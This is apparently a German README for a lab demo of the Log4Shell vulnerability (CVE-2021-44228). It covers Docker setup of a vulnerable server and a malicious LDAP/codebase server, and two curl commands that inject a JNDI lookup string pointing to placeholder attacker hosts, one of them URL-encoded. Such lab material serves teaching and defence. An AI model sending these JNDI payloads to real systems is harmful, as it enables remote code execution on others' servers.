
Demo, die zeigt, wie die Log4Shell / CVE-2021-44228-Sicherheitslücke funktioniert
Dieses Projekt soll demonstrieren, wie die Schwachstelle Log4Shell / CVE-2021-44228 funktioniert.
Sie benötigen lediglich eine installierte Docker-Umgebung. Idealerweise verfügen Sie über zwei verschiedene virtuelle Maschinen. Eine für den verwundbaren Server und eine für den bösartigen Server, der die schädliche Codebasis und einen LDAP-Server hostet.
Optional können Sie Make und Docker Compose installiert haben, dies ist jedoch nicht notwendig, da dieses Repository auch ein make.sh enthält, um diese Anforderungen zu überspringen und sie aus einem Docker-Container heraus zu verwenden.
Falls Sie dies noch nicht getan haben, finden Sie hier die Schritte zur Installation von Docker auf einer Debian-VM. Sie können diese Schritte verwenden: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
Dadurch werden ein einfacher LDAP-Server und ein einfacher Python-Server gestartet, die die schädlichen Java-Klassen bereitstellen.
Sie müssen die IP-Adresse oder den Domänennamen angeben, unter dem diese Server erreichbar sein werden.
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
oder einfach
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
wobei ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} lediglich URL-kodiert ist
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf